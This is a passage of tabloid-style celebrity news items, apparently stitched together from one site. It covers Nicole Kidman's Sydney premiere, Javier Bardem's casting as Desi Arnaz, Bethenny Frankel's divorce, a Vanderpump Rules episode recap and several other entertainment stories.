revealed her beloved mother Janelle was supporting her at the premiere of her new film Being the Ricardos. The actress, 54, is portraying one of the most iconic TV stars of all-time, Lucille Ball, in the highly anticipated film. During the Sydney premiere on Wednesday, Nicole said: 'It's very emotional for me to have my mum here.' Emotional: Nicole Kidman became emotional as she revealed her beloved mother Janelle was attending the Sydney premiere of her new film Being the Ricardos on Wednesday. Pictured Nicole and husband Keith Urban 'I also want to say that my mum ran lines with me. She played Desi Arnaz so she gets a shout out,' she added. The film is based on a true story and is centered around Lucille (played by Kidman) and her husband Desi Arnaz (Javier Bardem) as they face a crisis that could end their careers and another that could end their marriage. Nicole recently revealed that director Aaron Sorkin asked her over Zoom if she would be interested in playing Lucille Ball for the movie. Supportive: During the premiere, Nicole said: 'It's very emotional for me to have my mum here.' Pictured Nicole and her mum Janelle 'Yes, I would love to do anything with you,' the actress remembered replying while promoting the film on The Tonight Show Starring Jimmy Fallon. Nicole also said once she started to study Lucille that she loved playing her because she was such a physical comedian. Nicole said after she read the script she was completely consumed and captivated by the story of Lucille and Desi Arnaz. 'I also want to say that my mum ran lines with me. She played Desi Arnaz so she gets a shout out,' she added Role: Nicole recently revealed that director Aaron Sorkin asked her over Zoom if she would be interested in playing Lucille Ball for the movie She also said that Aaron was specific that he didn't want her to do an impersonation of Lucille Ball, which was not something she was interested in doing. 'You are one of the best actors that ever lived,' Jimmy told her. 'You are amazing in every single thing.' Being The Ricardos will air on Amazon Prime Video on December 21 Arrival: Janelle Kidman is pictured arriving to the premiere of Being The Ricardos Jason Watkins has opened up about his grief following the loss of his daughter Maude, aged two-and-a-half, back in 2011. The toddler died from sepsis on New Year's Day in 2011, which is a life-threatening reaction to an infection. In a new interview with The Telegraph, the successful actor, 55, explained how his life-changing role in the 2014 ITV drama The Lost Honour of Christopher Jefferies was informed by his own heartache. 'I don't know that it gets easier - sometimes it gets more confusing': Jason Watkins discussed his grief after losing daughter Maude to sepsis, aged two-and-half, back in 2011 He portrayed the retired Bristol schoolteacher, arrested on suspicion of the murder landscape architect Joanna Yeates, 25, at Christmas 2010, who was paraded by the tabloids before being released without charge. The thespian told the publication how he connected 'emotionally' with that project, because at the core of the story was somebody losing their daughter. 'All my efforts in doing it were fuelled by a sense of grief,' Jason recalled. Keeping her memory alive: The toddler died from sepsis on New Year's Day, 2011, which is a life-threatening reaction to an infection There was no anger from The Crown actor that he and Clara were turned away twice at A&E after taking Maude in with respiratory problems. But time has not made what happened any easier, as Jason proceeded to explain. 'I don't know that it gets easier. Sometimes it gets more confusing because you think you should be able to not react to seeing a child that was very like your child in a playground. Or that holding your son's hand reminds you of 'It still does.' Significance: In a new interview with The Telegraph , the successful actor, 55, explained how his life-changing role in the 2014 ITV drama The Lost Honour of Christopher Jefferies was informed by his own heartache (pictured in the role) Jason and jewellery and fashion designer Clara also have a daughter, Bessie, 15, and nine-year-old Gilbert, who was born after the tragedy. Jason also has two children from a previous marriage. Back in October, the BAFTA winner paid tribute to Maude on what would have been her 13th birthday. On Twitter, alongside a selection of photographs, Jason wrote: 'Maude would have been 13 today. A teenager. Thinking what a wonderful sister she was - and would have still been for Bessie. Girls together. Never forgotten - always with us. Beautiful Maudie. @cbukhelp #slowgroup @UKSepsisTrust @clarabetsy'. Jason's latest role will see him step into the character of editor of The Daily Telegraph in the BBC's new eight-part adaptation of Jules Verne's Around the World in 80 Days. Remembering: Back in October, the BAFTA winner paid tribute to Maude on what would have been her 13th birthday Lucie Donlan looked nothing short of sensational as she posed for a stunning swimsuit snap following her engagement to boyfriend Luke Mabbott. The former Love Island star, 24, displayed her jaw-dropping figure as she posed in a blue one-piece with a cut out detail. The surfer, who took part in the 2019 series of the ITV series, showcased her sun-kissed tan in the snap as she posed in a pool. Wow: Lucie Donlan looked nothing short of sensational as she posed for a stunning swimsuit snap following her engagement to boyfriend Luke Mabbott Letting her blonde locks fall loose down her shoulders, Lucie also wore a light pallet of makeup. The star completed her look for the snap with a beige shawl. In another photo, Lucie donned a blue mini dress with a multi-coloured print and a cut out detail. She then sported a crop top that highlighted her toned midriff along with a pair of white trousers. Beauty: In another photo, Lucie donned a blue mini dress with a multi-coloured print and a cut out detail Wow: She then sported a crop top that highlighted her toned midriff along with a pair of white trousers Incredible: Lucie also wore a white pearl necklace and matching earrings It comes after the beauty flashed her engagement ring in a sweet snap of the pair kissing, with Luke revealing he had popped the question as they watched the Northern Lights during their trip to Finland. He wrote: 'Mrs Mabbott to be. The northern lights made an appearance for the perfect moment to pop the question. A night we will never forget.' The pair have been dating since July 2020. Lucie appeared on the 2019 series of Love Island, and briefly dated fellow contestant Joseph Garratt. Wow: It comes after the beauty flashed her engagement ring in a sweet snap of the pair kissing, with Luke revealing he had popped the question as they watched the Northern Lights during their trip to Finland Luke reached the final of the winter series of Love Island in 2020, but split from Demi Jones shortly afterwards. On Tuesday, Lucie and Luke took to social media to share a very racy bedroom snap as she flashed her derriere. The couple posed on the bed in their luxury accomodation in Aurora Village as Lucie slipped into a revealing black thong. Winter of love: The pair have been dating since July 2020 Lucie could be seen straddling her beau in their panoramic glass roofed wooden cabin that boasted incredible views of the surrounding snow covered forest. Luke looked lovingly up at Lucie as he laid shirtless on the bed amongst crisp white linen and fur throws. She wore her bright blonde locks down as they tumbled in a soft beachy wave down her back. The loved-up pair have shared several steamy snaps to Instagram as they have documented their romantic getaway. Not to be: Lucie appeared on the 2019 series of Love Island, and briefly dated fellow contestant Joseph Garratt (pictured) Short-lived: Luke reached the final of the winter series of Love Island in 2020, but split from Demi Jones shortly afterwards (pictured) They previously donned more weather appropriate clothing as they could be seen in snowsuits as they headed out to view the sunset. This comes as Christmas came early for Lucie and Luke as they posed for a festive themed underwear campaign. The Love Island couple stripped down to their briefs for a new shoot on behalf of online brand Blakely Co, and both appeared to be loving their snow layered surroundings. Racy! On Tuesday Lucie and Luke took to social media to share a very racy bedroom snap as she flashed her derriere With a wintery forest serving as an appropriately seasonal backdrop, Lucie, displayed her cleavage in a black two-piece, while Luke, went shirtless as he showed off his abs in pair of boxer shorts. Captioning the image after sharing it with Instagram followers, she wrote: 'The winter of love' Last month, the bombshell's boyfriend revealed he wanted to 'marry' her as he responded to a post on her Instagram stories. Advertisement Nicole Kidman spoke about her excitement at being home in Australia for Christmas during an interview with The Project on Wednesday. The 54-year-old actress said she'd be spending Christmas with 'my sister and my mum' while at the premiere of her new film, Being the Ricardos, in Sydney. She added that she was 'so happy' her beloved mother, Janelle, was able to attend the premiere, and revealed she even helped her prepare for her role as Lucille Ball. Home sweet home: Nicole Kidman spoke about her excitement at being home in Australia for Christmas during an interview with The Project on Wednesday 'She actually she ran lines with me, preparing, can you believe it? And she would say, "No, you need to it again," or, "You got that word wrong," for this role,' she laughed. Nicole last week returned from a trip to the US with her two daughters, Sunday, 13, and Faith, 10, where she was promoting the new film. During an appearance on The Tonight Show on Thursday, Nicole told host Jimmy Fallon that her husband of 15 years, Keith Urban, was at home in Australia. Family time: The 54-year-old actress said she'd be spending Christmas with 'my sister and my mum' while at the premiere of her new film, Being the Ricardos, in Sydney. Pictured with her mother, Janelle Home for Christmas: Last week, Nicole told The Tonight Show that she was returning home to spend Christmas with her family, with husband Keith Urban (right) accompanying her at the Sydney premiere She added that she was returning home to spend Christmas with her family, with Keith, 54, accompanying her at the Sydney premiere. Nicole plays Lucy in the upcoming biopic, and is already generating Oscars buzz with her role as the beloved 1950's comedienne. The film depicts the often complicated relationship between real-life Hollywood power couple Lucille Ball and Desi Arnaz, played by Javier Bardem, as they filmed their hit 1950's sitcom, I Love Lucy. 'She actually she ran lines with me, preparing, can you believe it? And she would say, "No, you need to it again," or, "You got that word wrong," for this role,' she laughed Iconic: Nicole plays Lucille Ball in the upcoming biopic, and is already generating Oscars buzz with her role as the beloved 1950's comedienne It's set to premiere in cinemas this month, before streaming on Amazon Prime from December 21, and has already generated plenty of awards season buzz. Appearing at the Deadline Contenders Film event in Los Angeles last month, Nicole admitted she was apprehensive about taking on the role of such a beloved and iconic figure. 'I had massive trepidation about a month prior, and [director] Aaron [Sorkin] had to get on the phone and send me emails saying, "You've got this,"' she said, as reported by Variety. Advertisement Kate Moss looked effortlessly chic as she hit the designer shops with her daughter Lila, 19, in Mayfair on Tuesday. The supermodel, 47, and the teenager looked ready to splash the cash ahead of Christmas as they were seen perusing Celine and Saint Laurent boutiques on Old Bond Street. Kate looked stylish as ever in a long grey duster coat which she teamed with light wash jeans and knee-high leather boots. Shop till you drop! Kate Moss looked effortlessly chic as she hit the designer shops with her daughter Lila, 19, in Mayfair on Tuesday Living up to her fashion icon status, Kate rocked a pair of sunglasses and an oversized black handbag. Lila, meanwhile, rocked leather trousers, chunky Dr. Martens and kept warm in a camel polo neck. The aspiring model, who is following in her mother's footsteps, teamed her outfit with a black coat and small hoop earrings. Just like mum! Lila appeared in her element as she admired handbags in Saint Laurent and was particularly taken with a green shoulder bag Shopping spree: The supermodel, 47, and the teenager looked ready to splash the cash ahead of Christmas as they were seen perusing Celine and Saint Laurent boutiques on Old Bond Street Designer garb: Lila took the bag off the shelf to show her mum as they walked round the store Expensive taste: Lila seems to be big fan of designer bags as she headed shopping carrying her Chanel silver chain boy bag which retails at 4,380 And Lila appeared in her element as she admired handbags in Saint Laurent, with the trip appearing successful as the pair emerged from the store with the teenager carrying a large carrier bag. The family outing comes after Lila attended the Dior Men's fashion show last week. Supermodel Kate shares daughter Lila with journalist Jefferson Hack, with whom she was in a relationship in the early Noughties. Cool: Lila rocked a pair of leather trousers, chunky Dr. Martens and kept warm in a camel polo neck Splashing the cash: The trip appeared successful as the pair emerged from the store with the teenager carrying a large carrier bag She's got style! Kate looked stylish as ever in a long grey duster coat which she teamed with light wash jeans and knee-high leather boots All in the details: Living up to her fashion icon status, Kate rocked a pair of sunglasses which she teamed with an oversized handbag Safety first: In keeping with safety guidelines, Kate headed shopping in a black silk face mask Jefferson and Kate - who dated from 2001 to 2004 with Lila being born in 2002 - have an amicable relationship and would ensure their daughter spent a regular amount of time with each of them in her childhood. Back in 2016, Jefferson admitted that despite Lila having two famous parents, she found them both to be 'deeply uncool'. Speaking to the Sunday Times Magazine, he explained his daughter keeps himself and her model mother rooted in the 'real' world. Merry Christmas! Lila looked delighted with her purchase as she headed out of the Old Bond Street boutique Good genes: Lila went make-up free for the outing and wore her blonde locks in a sleek straight centre-parting Just mum and dad: Despite her mother's status as a bonafide British icon, thanks to her status in the fashion industry, and Jefferson's own achingly cool CV, Lila - wouldn't label her parents as cool Despite her mother's status as a bonafide British icon, thanks to her status in the fashion industry, and Jefferson's own achingly cool CV, Lila - wouldn't label her parents as cool. 'She thinks me and her mum are deeply uncool,' he explained. 'I dont think her music tastes are cool Capital radio and Justin Bieber. She keeps me real.' While Lila still has a good relationship with both parents, she is often seen out with mum Kate as she is signed to her modelling agency. And the teenager has been making waves on the fashion scene of late. Back in October Lila rocked edgy Gucci ensembles for the cover of Vogue Hong Kong and has also walked the catwalk for fashion shows across the globe. Shopping buzz: Lila had a spring in her step after the purchase at Saint Laurent In good spirits: Lila talked to her mum as they walked through Mayfair Paul Mercurio has officially stepped into a new career in politics despite claiming he doesn't want to be regarded as a 'politician'. The renowned actor, best known for his leading role in Baz Luhrmann's 1992 film Strictly Ballroom, was confirmed as the Labor candidate for the seat of Hastings in Melbourne's outer south east on Monday afternoon. Paul, 58, told NCA Newswire on Wednesday that he will be crossing into new territory in his run for state parliament after he previously sat on the Mornington Peninsula Shire council. Strictly politics: Paul Mercurio explained why he doesn't want to be considered a 'politician' on Wednesday, after being confirmed as the Labor candidate running for the seat of Hastings in the next Victorian state election 'I never meant to be in the political space and its a new kind of area for me,' he said. The entrepreneur, who operates his own food business, revealed in the interview that his main drive to run was the belief the he could do 'more as an MP rather than a councillor'. 'I thought Id just test the waters and of course now here I am as the candidate,' he stated. A big change: Paul, 58, told NCA Newswire on Wednesday that he will be crossing into new territory in his run for state parliament, after he previously sat on the Mornington Peninsula Shire council Paul says while he is 'honoured' to run as the Labor candidate for Hastings, he will still be focused on his local council role. The actor explained that he doesn't want to be considered a 'politician' but instead someone who has had a 'varied life experience' that secretly aspired to be in politics. Paul stressed the importance of listening to 'those in the community and their concerns'. 'I can offer an open heart and open ears,' he added. 'I can offer an open heart and open ears': The entrepreneur explained that he doesn't want to be considered a 'politician' but instead someone who has had a 'varied life experience' Hastings is generally considered to be safe conservative seat for the Liberal Party in Victoria. The district is currently held by Liberal MP Neale Burgess, who has held it since the 2006 Victorian state election. Burgess announced in November that he would not re-contest Hastings for the 2022 Victorian state election. As seen in: Mercurio is best known for his starring role in Baz Luhrmann's 1992 debut feature film Strictly Ballroom Mercurio is best known for his starring role in Baz Luhrmann's 1992 debut feature film Strictly Ballroom Paul's last acting appearance was on the TV soap Neighbours in 2020. He has mostly starred in independent productions over the past decade, opting instead to focus on running his own food business Beerlicious. Bethenny Frankel is detailing her 'nightmare divorce' from ex-husband Jason Hoppy. The former Real Housewives of New York star admits in the latest episode of her Just B podcast that initially didn't want to sign a prenup, saying she believed that 'no one's taking anything from me.' 'I have spent millions of dollars, millions of tears. I have had a horrific, hall of fame, nightmare divorce,' Frankel states in the podcast. Frankel, 51, finalized her divorce with Hoppy in January, nearly eight years after they initially split, with the star noting that she had now spent 20% of her life divorcing him but they were only married for two years. Bethenny Frankel details her 'horrific, nightmare divorce' from ex Jason Hoppy and admits she initially didn't want a prenup: 'I've spent millions' (pictured this month) 'I ended up marrying someone who was just a regular person, who seemed like they could handle all of what's going on with me, and being in reality television,' Frankel explains. Adding: 'And I was sort of proud of myself for just marrying someone who had a simple life, and they didn't come from much, and so they would never want anything from me.' 'Because this is just not the way that it goes, people who don't come from a lot just are happy with that sort of small-town life, and that would never really be a whole issue.' The Skinnygirl mogul has an estimated net worth of $70million, and up until just this month, had been paying child support to Hoppy. Bitter battles: Frankel, 51, finalized her divorce with Hoppy in January, nearly eight years after they initially split (Pictured together in Talking about her issues with a prenuptial agreement, Frankel reasoned: 'I'm trusting and I just don't want to deal with this, and it was embarrassing.' 'The word "prenup" was embarrassing to me. It's uncomfortable, it's awkward. A contract when you get married? It's an uncomfortable, awkward concept.' After tying the knot in 2010, the pair would separate just two years later in 2012. They reached a financial settlement in 2016, but have still been fighting over custody of their 11-year-old daughter Bryn, which was only resolved this month. But it seems the years-long saga has left Frankel feeling rattled. 'What I have overcome and accomplished in divorce is so much more than I have accomplished in philanthropy and in business,' she said on her show. Primary parent: Bethenny Frankel no longer required to pay ex-husband Jason Hoppy child support as he removes himself from 'toxic environment' of nasty divorce 'Divorce has been my greatest struggle and ultimately my greatest matter to survive. And it was torture.' 'I've been through an ordeal. Ive been through hell. I've been to hell and back. I cannot express to you how bad my experience has been.' However, Frankel didn't get too specific on the details, just that with her first experience of marriage and divorce, it was a lot simpler as she had married a wealthy man in her 20s. After almost three years, Frankel walked away from that union, not asking for anything. She warned her listeners - presumably talking about her experience divorcing Hoppy - saying: 'If I had known that getting into marriage is the same thing as getting into business together with a business partner, my eyes would have been more open. So for those of you listening' Enough: Hoppy, 51, said he was removing himself from the custody fight 'for Bryn and my physical, emotional and mental health' The ex RHONY star quoted boxer Mike Tyson, saying: 'Everyone's got a plan until they get punched in the face.' Earlier this month, it was revealed that Frankel no longer has to pay Hoppy child support, after her ex-husband agreed to remove himself from the 'toxic environment' of their custody battle. It was revealed in a remote court hearing that partly due to her parents' nasty divorce battle, Frankel's daughter Bryn has been suffering from 'anxiety, hyperventilation and hives' and often refuses to see her father. The star's attorney Allan Mayefsky requested that his client stop paying child support for their daughter as she has chosen to primarily live with her mother. Frankel married film producer Paul Bernon in 2018. Javier Bardem has responded to the criticism over his being Spanish and playing Cuban American actor Desi Arnaz. The 52-year-old Oscar winner stars in the movie Being The Ricardos opposite Nicole Kidman who plays sitcom icon Lucille Ball. 'Im an actor, and thats what I do for a living: try to be people that Im not,' Javier told The Hollywood Reporter in a new interview. Answering back: Javier Bardem has responded to the criticism over his being Spanish and playing Cuban American actor Desi Arnaz; seen last week in LA Javier also argued that the flak over nationality tends to be aimed in particular at non-native English speakers like himself. 'What do we do with Marlon Brando playing Vito Corleone? What do we do with Margaret Thatcher played by Meryl Streep? Daniel Day-Lewis playing Lincoln? Why does this conversation happen with people with accents?' he said. 'You have your accent. Thats where you belong. Thats tricky. Where is that conversation with English-speaking people doing things like The Last Duel, where they were supposed to be French people in the Middle Ages? Thats fine. But me, with my Spanish accent, being Cuban?' He added defiantly: 'What I mean is, if we want to open the can of worms, lets open it for everyone. The role came to me, and one thing that I know for sure is that Im going to give everything that I have.' Profession: 'Im an actor, and thats what I do for a living: try to be people that Im not,' Javier told The Hollywood Reporter; he is pictured as Desi The husband of Penelope Cruz joked: 'We should all start not allowing anybody to play Hamlet unless they were born in Denmark.' After his interview he emailed the publication and qualified his earlier remarks: 'I do recognize that there are many underrepresented voices and stories that need to be told, and we should collectively do better to provide access and opportunities for more American Latino stories and storytellers.' As Javier was slated for playing a Latino despite not being one, Rachel Zegler has received opprobrium for supposedly being the wrong type of Latina to play Maria in West Side Story as she is of Colombian and Polish descent rather than Puerto Rican. Javier and Nicole were both controversial choices for their roles when they were cast as Lucy and Desi, whose daughter Lucie Arnaz publicly defended Nicole. Incoming: The 52-year-old Oscar winner stars in the movie Being The Ricardos opposite Nicole Kidman who plays sitcom icon Lucille Ball The blowback they received was so intense that they both apparently tried to extricate themselves from the film as a result. Although the producer Todd Black was able to persuade their agents to keep them in, Nicole and Javier still wanted the film postponed a year. Nicole said that once their attempts to finagle a delay were unsuccessful 'then it was like: "Oh, no. Oh, no. We actually have to do this."' Since both Nicole and Javier grew up abroad they were unaware of how proprietary Americans felt about Lucy and Desi and so were unprepared for the backlash. There he is: The real Desi Arnaz, who had a turbulent marriage to Lucille that ended in divorce, is pictured in 1954 during the run of I Love Lucy Aaron himself has previously defended casting Javier in the midst of controversy about his not being Latin American. 'First of all, Amazons casting department had a Latina casting consultant on board. I found out, for instance, because there was an actor who I was considering whos Brazilian, and I was told by the casting consultant that Brazilians arent considered [Hispanic] because they speak Portuguese,' he told the Hollywood Reporter. 'So, Javier is Spanish and the casting consultant was fine with it. But I dont want to use the casting consultant as cover. I want to tell you my opinion on this and I stand by it, which is this: Spanish and Cuban arent actable, OK? Theyre not actable. By the way, neither are straight and gay,' he added. 'Because I know theres a small movement underway that only gay actors should play gay characters. Gay and straight arent actable. You could act being attracted to someone, but most nouns arent actable.' Film history: Javier argued: 'What do we do with Margaret Thatcher played by Meryl Streep?' asking: 'Why does this conversation happen with people with accents?' Meanwhile as rumors of Nicole's casting began to spread this January it set of a swirl of online chatter about who would be better suited for the role. Debra Messing, who had just starred in a homage to I Love Lucy on the last season of Will And Grace, began aggressively pitching herself for the part on Twitter. However Lucie posted a Facebook video urging fans to 'stop arguing about who should play it she doesnt look like her, her nose isnt the same, she isnt as funny.' She noted that the film is 'the story of Lucille Ball, my actual mother, not Lucy Ricardo, and her husband Desi Arnaz, my dad, not Ricky Ricardo.' New work: 'Where is that conversation with English-speaking people doing things like The Last Duel, where they were supposed to be French people in the Middle Ages?' Javier asked Desi, who played Lucy's bandleader husband Ricky Ricardo on their program, had a tumultuous marriage to her in real life. She filed for divorce for the first time in 1944, reportedly over his philandering and drinking, but they got back together before splitting up permanently in 1960. In the meantime they produced two children and the sitcom that etched them into TV legend, running from 1951 to 1957. Throwback: Despite their divorce, in which she called their marriage 'a nightmare,' Lucy and Desi remained publicly amicable for the rest of his life; they are pictured while married They also starred in movies together throughout their marriage, including Forever, Darling and the Vincente Minnelli comedy The Long, Long Trailer. Despite their divorce, in which she called their marriage 'a nightmare,' Lucy and Desi remained publicly amicable for the rest of his life. Lucy married Borscht Belt comic Gary Morton in 1961 and stayed with him until her death in 1989, while Desi married one Edith Hirsch in 1963. Edith and Desi both died of cancer one year apart - she passed on in 1985 and her husband, who loved cigars from his native Cuba, succumbed to lung cancer in 1986. Aaron Sorkin's new biopic is about a single week spent making an episode of I Love Lucy during which Lucy and Desi's marriage is shaken. The turbulent week, reportedly running from the table read to the taping in front of a studio audience, is said to include a professional landmine for the couple as well. Katie Maloney-Schwartz blew up at Tom Sandoval on Tuesday night's Vanderpump Rules on Bravo and accused him of trying to treat her husband like his 'little puppet.' In the show titled Best Friends For Never, Sandoval, 38, sat down with Katie, 34, at Tom Tom to try and hash out their recent blow up. He explained that he was always just pushing her husband Tom Schwartz to try to make them all more money. 'I see it from a different perspective,' she said. 'You think that your ideas are better than anyone else's. I'm protecting his interests. I'm trying to have his back.' 'All I'm saying is listen to my f***ing husband's ideas': Katie Maloney-Schwartz blew up at Tom Sandoval on Tuesday night's Vanderpump Rules on Bravo and accused him of trying to treat her husband like his 'little puppet' Sandoval said 'I knew this was going to happen.' 'All I'm saying is listen to my f***ing husband's ideas,' screamed Katie. Schwartz, 38, heard this blow up from across the bar and said 'oh God.' Sandoval told Katie that he was responsible for bringing substantial money into her household. Defending himself: He explained that he was always just pushing her husband Tom Schwartz to try to make them all more money 'I've worked my a** off to create business opportunities,' Sandoval said. Katie asked him how much money he had brought into her house. He said he made her $20,000 for club appearances. Katie said that her husband makes his own money and to not take credit for what he does. He said he even wears the same outfits as Schwartz so that he's not the center of attention. 'It's creepy,' said Katie. 'He's not your little puppet.' 'He's not your little puppet': Katie did not hold back as she stood up for her husband Building his friend up: Sandoval said that he actually built Schwartz up and that he loved him She told him that his behavior was patronizing, but Sandoval said that he actually built Schwartz up and that he loved him. 'I'm not saying you don't love people,' said Katie. 'I'm not sayin you don't support people. I'm just saying you have a f***ing ego problem.' 'So do you, Katie, ' said Sandoval. Katie stormed off and told her husband that Sandoval was a 'f***ing a**hole.' He said he thought they were getting along, but Katie told him that they were 'never getting along.' Self-centered: 'I'm not saying you don't love people,' said Katie. 'I'm not sayin you don't support people. I'm just saying you have a f***ing ego problem' Schwartz said to her 'Are you done? Honey, you are making a scene. Let's go outside of Tom Tom.' Schwartz said in a confessional that trying to mediate between the two of them was killing him inside. Katie and Schwartz went outside to discuss and he asked her if maybe she was reading more into what Sandoval was saying. 'Are you trying to gaslight me now,' she said. Weighing in: Katie and Schwartz went outside to discuss and he asked her if maybe she was reading more into what Sandoval was saying He told her he was just under a lot of pressure. Katie started to cry and Tom hugged her. The next day Katie went over to Villa Rosa to talk with Lisa Vanderpump, 61. They had tea in Lisa's sitting room and Katie told Lisa about her fight with Sandoval. She said he was trying to take credit for things. Lisa told her that she understood her position. Katie asked her if she thought they were ready to open up their own place and Lisa said no but that they also had an experienced backer that could help them. She did offer some advice for Katie. 'I would not let my husband have loyalty to another man over me,' Lisa told her. Hashing it out: The next day Katie went over to Villa Rosa to talk with Lisa Vanderpump, 61 Words of wisdom: 'I would not let my husband have loyalty to another man over me,' Lisa told her Sandoval and Ariana Madix, 36, discussed the fight while getting ready to go out. Sandoval had planned a birthday surprise for her but told her instead that he was just taking her out to dinner. She told him that she thought that Schwartz was being rude to Katie. Instead of dinner, Sandoval took Ariana to the MadCap Hotel, an interactive experience location. They all wandered through the hotel's strange rooms down a dark hall and opened a door only to be surprised by all their friends. After the birthday surprise, Schwartz and Sandoval sat down in one of the rooms to talk about the fight with Katie. Schwartz said that he was between a rock and hard place. 'I don't know what to do anymore,' said Sandoval. Birthday fun: Instead of dinner, Sandoval took Ariana to the MadCap Hotel, an interactive experience location Celebrate! The group then went to Tramp Stamp Grannies bar and then had drinks to continue the celebration for Ariana's birthday Schwartz said he didn't know what to do either. Meanwhile, Lala asked Katie what happened. The group then went to Tramp Stamp Grannies bar and then had drinks to continue the celebration for Ariana's birthday. James Kennedy, 29, told Lala Kent, 31, that he was going on almost two years sober and wanted to also cut back on his smoking. Lala told him that she had gone to AA meetings and James said he was going to go to one as well. Milestone: James Kennedy, 29, told Lala Kent, 31, that he was going on almost two years sober and wanted to also cut back on his smoking 'I'm so proud of you': Lala told him that she had gone to AA meetings and James said he was going to go to one as well 'I'm so proud of you, you are going to be sober sober,' said Lala. Charli Burnett spoke to Ariana and Raquel Leviss, 26 about her conversation with Scheana Shay, 36. Raquel told them that in the past Scheana has asked her to end friendships with people that she didn't approve of. Ariana kept drinking and announced that she hadn't eaten anything. She ran and got a drink and then fell flat on her back running to the bar. She kept doing shots and drinking the bar's signature Mezcal drink, the Spicy dumpling. Ariana asked Katie if they could all go out to dinner with their husbands to discuss things. Katie said no. They brought out cupcakes for Ariana's birthday that James and Raquel had baked for the party. After she blew out the candles, Ariana grabbed one and smashed it on Sandoval's face and then licked it off. Having a heart to heart: Charli Burnett spoke to Ariana and Raquel Leviss, 26 about her conversation with Scheana Shay, 36 Tech talk: Brock Davies, 30, also worked with his partner Scheana Shay at their apartment on figuring out how to promote his live streaming fitness platform Homebody Ideas: He talked about sending out fitness gear to influencers and having a photo shoot Brock Davies, 30, also worked with his partner Scheana at their apartment on figuring out how to promote his live streaming fitness platform Homebody. He talked about sending out fitness gear to influencers and having a photo shoot. They discussed who to invite. Scheana broke down crying talking about how Charli was mad at her for not being there for her. Brock told her to fight back and that she hadn't been wrong. She said she stayed home because she didn't want to get sick and had a baby and that was all she cared about. The next day Lala Kent, 31, spoke with her partner Randall Emmett, 50, about finding an assistant. She was planning a Lala beauty party. Lala and Randall interviewed assistants. She told them that the job would be varied but could also include social media but could also include random household chores like cleaning out her breast pump. Job hunt: The next day Lala Kent, 31, spoke with her partner Randall Emmett, 50, about finding an assistant Finding the right fit: Lala and Randall interviewed assistants Later, Schwartz decided he was going to have a conversation with Sandoval and tell him to respect his wife. Schwartz rode his bike over to his house to talk to him. He told him it was not good with Katie and that he needed him to respect Katie. Sandoval said for the time being that it would be best if they kept their hangouts to a minimum. Vanderpump Rules will return next Tuesday on Bravo. She welcomed her first child with husband Rio Ferdinand last year, with the tot set to celebrate his first birthday on Thursday. And Kate Ferdinand shared a humorous throwback snap of her husband eating Chinese food in front of her in hospital shortly after she welcomed their baby son Cree. The former TOWIE star, 30, lamented her partner 43, for scoffing her favourite food while she was unable to eat due to having had a c-section, with Kate sarcastically writing over the Instagram snap: 'You really are one of a kind!' Cheeky: Kate Ferdinand shared a humorous throwback snap of her husband eating Chinese food in front of her in hospital shortly after she welcomed their baby son Cree In the image, Rio is seen snapping a selfie beside a table laden with takeaway food and drinks, while his wife snoozed in her hospital bed behind him. Captioning the image on Wednesday, Kate penned: '1 year ago tomorrow. I told Rio when I had the baby, I really wanted a Chinese. 'Once I had Cree I couldn't eat because of the c-section. Rather than wait until I could, he decided to eat my favourite Chinese anyway, in front of me - & take selfies for memories!!! 'You really are one of a kind. Thanks for being you babe.' Oh dear: The former TOWIE star, 30, lamented her partner 43, for scoffing her favourite food while she was unable to eat due to having had a c-section (pictured with son Cree) Meanwhile, ahead of Cree's big day, doting mum Kate shared a black and white image of her cradling her baby boy, as she penned: 'Can't believe my baby is one tomorrow.' As well as Cree, Kate is also step-mother to Rio's kids Lorenz, 15, Tate, 13, and Tia, 10, whose mother Rebecca Ellison passed away in 2015, two years after being diagnosed with breast cancer. In a recent Q&A on her newly set-up support platform for blended families, Kate admitted feeling 'really nervous' about being a step-parent and welcoming a new baby into the family. Speaking candidly in a video shared to her Blended Instagram account, she said: 'I was really really nervous when I was pregnant with Cree, I was worried, is he going to get along with the kids, are they going to be OK? Time is flying: Meanwhile, ahead of Cree's big day, doting mum Kate shared a black and white image of her cradling her baby boy, as she penned: 'Can't believe my baby is one tomorrow' 'I was also worried that Rio already had children and it was the first time Ive ever experienced it and I felt like I had a lot of emotions around the whole thing. 'You always dream of experiencing those firsts together, so that made me feel like I didnt really know what I was doing and Rios going to know everything and I was going to be useless. 'But I feel like thats all in my head and as soon as Cree was born, everything fell into place. I didnt really know what I was doing. But you know what men are like? He was forgot everything too and we went on a journey together.' Candid: In a recent Q&A on her newly set-up support platform for blended families, Kate admitted feeling 'really nervous' about being a step-parent and welcoming a new baby into the family On her three step-children, she went on: 'And the children, I didnt know if I was being like mummy and I didnt want to upset them because Ive always been Kate. But Cree has slotted in really well. And I think the main thing we tried to do when I was pregnant was to just involve the children in everything, they were helping us. 'We got books like Im going to be a big sister and help with getting his first outfit, Tia bought his first outfit that he wore home from the hospital, things like that kept the children involved, so that when Cree came they were really excited.' During the honest and open chat, Kate also confessed to often feeling 'overwhelmed', adding: 'something I did when younger was to put pressure on myself to always be perfect, but that is something Im working on.' Fears: Speaking candidly in a video shared to her Blended Instagram account, she said: 'I was really really nervous when I was pregnant with Cree, I was worried, is he going to get along with the kids, are they going to be OK?' She also revealed that she set up Blended as she 'felt alone' in being a step parent and 'didnt know anyone in that situation', especially with children whove lost their mum. She told how she 'wanted somewhere people could talk and share experiences' The TV personality then went on to say that she 'often doesn't have it together' even though it looks like that on social media. She explained: 'I struggle, Im human and I also want to meet people in similar situations.' Jeremy Irons is the spitting image of former Prime Minister Neville Chamberlain in new images from his upcoming Netflix thriller Munich: The Edge Of War. The film, which is based on Robert Harris' acclaimed 2017 novel, sees the actor take on the role of the politician in the midst of a notorious trip to meet Adolf Hitler in Munich in Germany, mere months before Europe was plunged into war. New snaps from the film show Jeremy under intense scrutiny during his visit to the country, with much of the Cabinet convinced the trip is a recipe for disaster. Dark: Jeremy Irons is the spitting image of former Prime Minister Neville Chamberlain in new images from his upcoming Netflix thriller Munich: The Edge Of War The images shows Jeremy sporting one of Chamberlain's distinct handlebar moustaches, while he is deep in conversation with his fellow politicians. These include Sir Nevile Henderson (Robert Bathurst) and Sir Horace Wilson (Alex Jennings), as well as civil servant Hugh Legat (George MacKay). Chamberlain can also be seen delivering a radio broadcast, reassuring Britons there is always 'hope' while the war is yet to begin. Dark: The film sees the actor (left) take on the role of the politician (right in 1939) in the midst of a notorious trip to meet Adolf Hitler in Munich in German Heart-stopping: The film focuses on British civil servant Hugh Legat (right played by George MacKay) and diplomat Paul von 